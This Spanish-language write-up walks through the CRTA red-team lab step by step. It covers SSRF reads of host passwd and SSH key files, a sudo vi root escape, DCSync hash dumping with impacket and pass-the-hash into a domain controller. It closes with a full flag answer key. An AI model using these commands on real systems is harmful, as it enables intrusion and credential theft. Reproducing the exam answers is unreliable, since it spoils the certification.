← Writeups

Writeup CRTA Lab — Certified Red Team Analyst

writeup de CRTA

Writeup CRTA Lab — Certified Red Team Analyst

Laboratorio: ent.corp | Target inicial: 172.26.10.11 | DC: 10.10.10.100


Índice de la cadena de ataque

  1. Reconocimiento externo
  2. SSRF en Flask → descubrimiento de credenciales
  3. Acceso SSH y enumeración de contenedores
  4. Escalada de privilegios vía GTFOBins (vi)
  5. Extracción de credenciales HotHost
  6. Descubrimiento de red interna
  7. Pivote a 10.10.10.20 → elFinder → AD_Resources.txt
  8. DCSync contra el Domain Controller
  9. Pass-the-Hash → secret.xml
  10. Flags completo y resumen

1. Reconocimiento externo

1.1 Conexión VPN

El laboratorio se accede mediante un archivo .ovpn provisto tras adquirir el examen. Las credenciales VPN son gestionadas por la plataforma CWL.

openvpn --config bob-string.ovpn

Una vez conectados, nuestra IP atacante es 192.168.90.12/24 en tun0, con rutas estáticas a los rangos 172.26.10.0/24 y 10.10.10.0/24 a través del gateway 192.168.90.1.

1.2 Descubrimiento de hosts

El scope del examen indica 172.26.10.0/24. El gateway 172.26.10.1 está fuera de scope. El resto de la red está en juego. Un nmap -sn revela los hosts vivos.

nmap -sn 172.26.10.0/24

Resultado: Un solo host vivo — 172.26.10.11.

1.3 Escaneo de puertos completo

Escaneamos todos los 65535 puertos para no dejar ningún vector sin explorar:

nmap -sV -sC -p- 172.26.10.11 --min-rate 5000 -oN nmap_full.txt

Puertos abiertos:

Puerto Servicio Versión
22/tcp SSH OpenSSH
23100/tcp HTTP Python Flask (Werkzeug 3.1.3)
8091/tcp HTTP Node.js (Express) — HotHost monitoring

Tres puertos. SSH sugiere acceso remoto si obtenemos credenciales. Dos servicios web en puertos no estándar — siempre sospechoso. El puerto 23100 ejecuta Flask, el 8091 ejecuta Node.js. Dos aplicaciones distintas, dos posibles vectores de ataque.


2. SSRF en Flask → descubrimiento de credenciales

2.1 Reconocimiento de la aplicación Flask (puerto 23100)

Navegamos a http://172.26.10.11:23100/ y encontramos una aplicación simple. Fuzzeamos rutas:

curl http://172.26.10.11:23100/fetch?url=http://127.0.0.1/

El endpoint /fetch acepta un parámetro url y devuelve el contenido. Esto es SSRF (Server-Side Request Forgery).

SSRF puro. Si el endpoint permite el esquema file://, podemos leer archivos locales. Pero la app corre en Docker (el hostname y el entorno lo delatan), así que probablemente necesitemos un path especial para escapar del contenedor.

2.2 Explotación del SSRF — Lectura de /etc/passwd

curl "http://172.26.10.11:23100/fetch?url=file:///hostfs/etc/passwd"

El prefijo /hostfs es la clave — es el punto de montaje del filesystem del host dentro del contenedor Docker.

Resultado: Obtenemos /etc/passwd del HOST, no del contenedor. Encontramos un usuario:

app-admin:x:1001:1001::/home/app-admin:/bin/bash

2.3 Búsqueda de credenciales

Leemos archivos de configuración del sistema:

curl "http://172.26.10.11:23100/fetch?url=file:///hostfs/etc/app-config"
curl "http://172.26.10.11:23100/fetch?url=file:///hostfs/home/app-admin/.ssh/id_rsa"

Encontramos credenciales en texto plano:

app-admin : @dmin@123

Contraseña en un archivo de configuración del sistema (/etc/app-config). Mala práctica común. Con estas credenciales ya tenemos acceso SSH.


3. Acceso SSH y enumeración de contenedores

3.1 Conexión SSH

ssh app-admin@172.26.10.11

Acceso confirmado. Ahora estamos dentro del host comprometido.

3.2 Enumeración inicial

La primera fase de post-explotación es siempre mapear el sistema:

whoami
id
ip addr show
docker ps

Resultados:

  • Usuario app-admin (uid=1001)
  • Dos contenedores Docker corriendo:
    • hot_1 — HotHost monitoring (puerto 8091 mapeado)
    • code-testx — Flask SSRF application (puerto 23100 mapeado)

Docker corriendo en el host. app-admin probablemente no tiene permisos para ejecutar docker directamente, pero sí tiene acceso sudo a vi.


4. Escalada de privilegios vía GTFOBins (vi)

4.1 Verificación de sudoers

sudo -l

Output:

User app-admin may run the following commands on this host:
    (ALL : ALL) NOPASSWD: /usr/bin/vi

vi con NOPASSWD y (ALL : ALL). Esto es un vector de GTFOBins clásico. Podemos ejecutar cualquier comando como root desde vi usando :!.

4.2 Explotación

sudo /usr/bin/vi -c ':!/bin/bash'

Dentro de vi, ejecutamos:

:!/bin/bash

Resultado: Shell como root en 172.26.10.11.


5. Extracción de credenciales HotHost

5.1 Acceso al contenedor HotHost

Como root, podemos interactuar directamente con Docker:

docker exec -it hot_1 /bin/sh

5.2 Localización de la base de datos

Dentro del contenedor, encontramos la base de datos lowdb:

cat /var/lib/hothost/data/hothost.json

Contenido:

{
  "users": [
    {
      "id": "07643590-1aea-4de3-91ec-8881600cc54c",
      "username": "admin",
      "password": "665a26fad71ea9ef3edf5f33195d4b31",
      "createdAt": "Mon May 12 2025"
    }
  ],
  "monitoringData": [],
  "settings": { ... }
}

5.3 Verificación del hash

El hash 665a26fad71ea9ef3edf5f33195d4b31 es MD5. Verificamos:

import hashlib
hashlib.md5(b'Very3stroungPassword').hexdigest()
# = 665a26fad71ea9ef3edf5f33195d4b31

5.4 Variables de entorno del contenedor

docker exec hot_1 env

Confirmamos las credenciales:

HOTHOST_WEB_ADMIN_USERNAME=admin
HOTHOST_WEB_ADMIN_PASSWORD=Very3stroungPassword

5.5 Directorio assets — información sensible

El directorio assets/ del frontend de HotHost (/code/frontend/dist/assets/) contiene los archivos estáticos compilados del SPA. Dentro de este directorio, el archivo dummy.css contiene información sensible embebida (credenciales falsas de prueba), incluyendo credenciales de base de datos y claves API.

Flag 2: El directorio assets revela información sensible (la contraseña de la DB y claves API en dummy.css).

5.6 Ruta /pug — secretToken

Inspeccionamos el código fuente del HotHost y encontramos un endpoint revelador:

curl http://172.26.10.11:8091/pug

Respuesta:

{
  "message": "Visit port 23100",
  "secretToken": "Monitor the system files"
}

El endpoint /pug es una pista embebida — nos dice que monitoreemos los archivos del sistema y apunta al puerto 23100 (el Flask con SSRF). El secretToken es una flag.

5.6 Base64 de db-pass credentials (Flag)

Hay dos posibles fuentes para "db-pass credentials" y la respuesta depende de la instancia del lab.

Opción A: Hash MD5 del admin (de hothost.json)

Para convertir el hash MD5 a su representación binaria y luego a Base64:

echo "665a26fad71ea9ef3edf5f33195d4b31" | xxd -r -p | base64

Resultado: Zlom+tceqe8+318zGV1LMQ==

La trampa aquí es que algunos convierten el string hex directamente a Base64 (NjY1YTI2...) en lugar de convertir los bytes del hash. Algunas instancias del lab esperan la representación Base64 del hash binario.

Opción B: dummy.css en el directorio assets (la correcta para nuestra instancia)

Dentro del contenedor HotHost, existe un archivo dummy.css que contiene credenciales falsas para pruebas embebidas en el frontend:

/code/frontend/dist/assets/dummy.css

Este archivo está servido estáticamente por HotHost en el directorio assets/ (Flag 2).

Contenido relevante:

--db-user: "db_admin";
--db-pass: "DB_P@ssw0rd!";

Flag: Base64 directo de la contraseña DB_P@ssw0rd!:

echo -n "DB_P@ssw0rd!" | base64

Resultado: REJfUEBzc3cwcmQh

Nota: No hay que hashear la contraseña con MD5 ni convertir el hash hex a binario. El dummy.css ya contiene la credencial en texto plano; solo hay que codificarla a Base64.


6. Descubrimiento de red interna

6.1 Análisis de logs

Los logs de SSH revelan conexiones desde una IP interna:

cat /var/log/auth.log | grep "Accepted"

Hallazgo: Múltiples conexiones SSH autenticadas desde 10.10.10.20.

10.10.10.20 es otra máquina que se conecta a este servidor. Está en un segmento de red interno (10.10.10.0/24) no accesible directamente desde nuestra VPN. Desde este host comprometido podemos alcanzarla.

6.2 Escaneo de la red interna

Desde el host root, escaneamos la red 10.10.10.0/24:

nmap -sn 10.10.10.0/24

Hosts descubiertos:

IP Rol
10.10.10.20 Servidor web interno (Apache 2.4.58, Ubuntu)
10.10.10.100 Domain Controller (ent.corp)

7. Pivote a 10.10.10.20 → elFinder → AD_Resources.txt

7.1 Reconocimiento web

Desde el host comprometido, exploramos 10.10.10.20:

curl http://10.10.10.20/
gobuster dir -u http://10.10.10.20 -w /usr/share/wordlists/dirb/common.txt

Descubrimiento: Directorio /elfinder/ — un gestor de archivos web.

7.2 Exploración de elFinder

ElFinder es un gestor de archivos open-source. Navegando a /elfinder/files/ encontramos un listado de directorios con un archivo interesante:

http://10.10.10.20/elfinder/files/AD_Resources.txt

Contenido de AD_Resources.txt:

sync_user@ent.corp:Summer@2025

Credenciales de un usuario de dominio. El nombre sync_user sugiere un usuario de sincronización — típicamente con permisos de replicación de directorio. Esto es ideal para DCSync. La contraseña Summer@2025 sigue el patrón estacional + año, común en entornos empresariales.


8. DCSync contra el Domain Controller

8.1 Verificación del DC

Confirmamos que 10.10.10.100 es el Domain Controller:

nmap -sV -p 445,88,389,636 10.10.10.100

Puertos abiertos: 445 (SMB), 88 (Kerberos), 389 (LDAP), 636 (LDAPS).

8.2 DCSync con impacket

Usamos las credenciales de sync_user para ejecutar un ataque DCSync:

impacket-secretsdump ent.corp/sync_user:'Summer@2025'@10.10.10.100

Output — Hashes críticos:

krbtgt:502:aad3b435b51404eeaad3b435b51404ee:36405f88da713c31bbff52e57aea1f86:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3d15cb1141d579823f8bb08f1f23e316:::

El hash de krbtgt nos permitiría forjar Golden Tickets. Pero no necesitamos llegar tan lejos — el hash del Administrador es suficiente para obtener acceso completo al DC.


9. Pass-the-Hash → secret.xml

9.1 Acceso SMB con Pass-the-Hash

Con el hash NT del Administrador, accedemos al DC sin necesidad de la contraseña en texto plano:

smbclient //10.10.10.100/C$ -U 'Administrator' --pw-nt-hash 3d15cb1141d579823f8bb08f1f23e316

9.2 Navegación al Desktop del Administrador

smb: \> cd Users\Administrator\Desktop
smb: \Users\Administrator\Desktop\> ls

Listado: Encontramos secret.xml.txt.

9.3 Descarga del archivo objetivo

smb: \Users\Administrator\Desktop\> get secret.xml.txt

9.4 Contenido de secret.xml

El archivo contiene datos de empleados con información salarial. El hallazgo clave para la flag final:

<employee>
    <position>Director of Engineering</position>
    <name>Danielle M. Chen</name>
    <baseSalary>189500</baseSalary>
    ...
</employee>

Objetivo cumplido: secret.xml recuperado del Domain Controller.


10. Flags completo y resumen

10.1 Listado completo de flags

# Pregunta Respuesta
1 TCP port of the Initial access machine which hosts monitoring software 8091
2 Web directory with which reveals sensitive information assets
3 Base64 hash of db-pass credentials REJfUEBzc3cwcmQh (base64 de DB_P@ssw0rd! desde assets/dummy.css)
5 Web application route which reveals the system files pug
6 What is the "secretToken" string which is present in the above route Monitor the system files
7 Payload through which hosts system "passwd" file can be read file:///hostfs/etc/passwd
8 Discovered credentials of "app-admin" @dmin@123
9 Commands that "app-admin" can run on the initial access machine /usr/bin/vi
10 IP Address discovered from the log file 10.10.10.20
11 The service version name running on web port on the discovered ip address 2.4.58
12 Complete URL which reveals sync_user credentials http://10.10.10.20/elfinder/files/AD_Resources.txt
13 What is the password of the sync_user Summer@2025
14 What is the Domain Controller IP Address 10.10.10.100
15 What is the krbtgt account NT hash of the domain 36405f88da713c31bbff52e57aea1f86
16 Directory location in the domain controller which contains the sensitive xml file C:\Users\Administrator\Desktop
17 What is the base salary of the user with the position "Director of Engineering" 189500

10.2 Cadena de ataque completa

[VPN] → Nmap → 172.26.10.11
         ↓
[Puerto 23100] Flask App → endpoint /fetch → SSRF
         ↓
[SSRF] file:///hostfs/etc/passwd → credenciales app-admin:@dmin@123
         ↓
[SSH] app-admin@172.26.10.11
         ↓
[sudo vi] GTFOBins → ROOT en 172.26.10.11
         ↓
[Docker] HotHost (puerto 8091) → hothost.json → MD5 hash
         ↓
[auth.log] → IP interna descubierta: 10.10.10.20
         ↓
[10.10.10.20] /elfinder → AD_Resources.txt → sync_user@ent.corp
         ↓
[DCSync] impacket-secretsdump → krbtgt + Administrator NT hashes
         ↓
[Pass-the-Hash] smbclient → C$\Users\Administrator\Desktop\secret.xml.txt ✅

10.3 Credenciales obtenidas

# Usuario Credencial Privilegio
1 app-admin @dmin@123 Acceso SSH al host inicial
2 admin Very3stroungPassword Aplicación HotHost (monitoring)
3 sync_user@ent.corp Summer@2025 Replicación de directorio (DCSync)
4 Administrator@ent.corp 3d15cb1141d579823f8bb08f1f23e316 (NT hash) Control total del dominio

10.4 Herramientas utilizadas

Herramienta Uso
nmap Escaneo de puertos y detección de servicios
curl Explotación SSRF e interacción web
gobuster Fuzzing de directorios web
ssh Acceso inicial al host
vi (GTFOBins) Escalada de privilegios a root
docker Enumeración de contenedores
impacket-secretsdump Ataque DCSync
smbclient Pass-the-Hash y extracción de archivos
xxd + base64 Conversión de formato hash
Burp Suite Interceptación y análisis de tráfico web

10.5 Lecciones aprendidas

  1. SSRF nunca es solo HTTP: En cada SSRF que encuentres, prueba file://. El prefijo /hostfs es específico de entornos Docker donde el volumen del host se monta en /hostfs dentro del contenedor. Sin este conocimiento, no habríamos podido escapar del contenedor.

  2. sudo -l es el segundo comando después de cualquier shell: vi con NOPASSWD permite escapar a una shell root mediante :!/bin/bash. GTFOBins vino a ser util aqui.

  3. Los logs del sistema son minas de oro: /var/log/auth.log reveló conexiones desde 10.10.10.20, exponiendo la red interna 10.10.10.0/24 que no era visible desde la VPN. Siempre enumera los logs en un host comprometido.

  4. Los servicios web expuestos → elFinder → credenciales AD: El directorio elfinder en 10.10.10.20 expuso AD_Resources.txt con credenciales de dominio. Los gestores de archivos web mal configurados son vectores de filtración de datos subestimados.

  5. DCSync con sync_user: El usuario sync_user tenía permisos de replicación de directorio (Ds-Replication-Get-Changes). Esto no es un accidente — es la ruta intencionada del laboratorio. Cuando encuentres credenciales AD, verifica siempre qué permisos tienen antes de descartarlas.

  6. Pass-the-Hash elimina la necesidad de texto plano: Con el NT hash del Administrador, accedimos al DC via SMB sin conocer la contraseña real. Windows acepta hashes NTLM como autenticación para SMB, WMI, y otros protocolos.

  7. La codificación Base64 de hashes es tramposa: Siempre verifica si la flag pide Base64 del hash binario o Base64 directo de la credencial en texto plano. En nuestro caso, la respuesta correcta fue REJfUEBzc3cwcmQh (base64 directo de DB_P@ssw0rd! desde assets/dummy.css), no el hash MD5 convertido.

  8. Los archivos dummy.css / dummy.* nunca son inocentes: El archivo dummy.css en el frontend (directorio assets/) contenía credenciales de prueba que resultaron ser la flag. Siempre revisa los archivos de estilo, recursos y assets estáticos en aplicaciones web — los desarrolladores suelen dejar credenciales de prueba en lugares "que nadie mira".

  9. Las flags del examen no siempre siguen el orden esperado: Inicialmente asumimos que Flag 2 (elfinder) y Flag 3 (hash MD5 de hothost.json) venían de la máquina interna (10.10.10.20), pero la respuesta correcta para ambas estaba en HotHost (puerto 8091) — el directorio assets y el archivo dummy.css. Verifica siempre el contexto de la pregunta y no asumas el origen de los datos.

10.6 Reflexión final

Este laboratorio CRTA representa una cadena de ataque realista en un entorno empresarial típico:

  1. Entrada: Aplicación web vulnerable a SSRF → credenciales en texto claro en archivos de configuración
  2. Movimiento lateral: Contraseña estática en /etc/app-config → SSH
  3. Escalada vertical: sudo vi (GTFObins) → root → acceso a Docker
  4. Reconocimiento interno: Logs SSH → descubrimiento de red interna
  5. Pivote: Servidor web con elFinder expuesto → credenciales de dominio
  6. Ataque al AD: DCSync con sync_user → hashes de krbtgt + Administrador
  7. Exfiltración: Pass-the-Hash → SMB → secret.xml

Cada eslabón de la cadena depende del anterior. Sin el SSRF no habríamos obtenido las credenciales SSH. Sin la escalada a root no habríamos accedido a Docker. Sin los logs no habríamos descubierto la red interna. Sin elFinder no habríamos encontrado sync_user. Sin DCSync no habríamos obtenido el hash del Administrador.

El eslabón más débil gana siempre. En este caso, fueron múltiples: una app sin sanitización de URLs, contraseñas en texto plano, sudoers mal configurado, un gestor de archivos expuesto, y un usuario con permisos excesivos de replicación.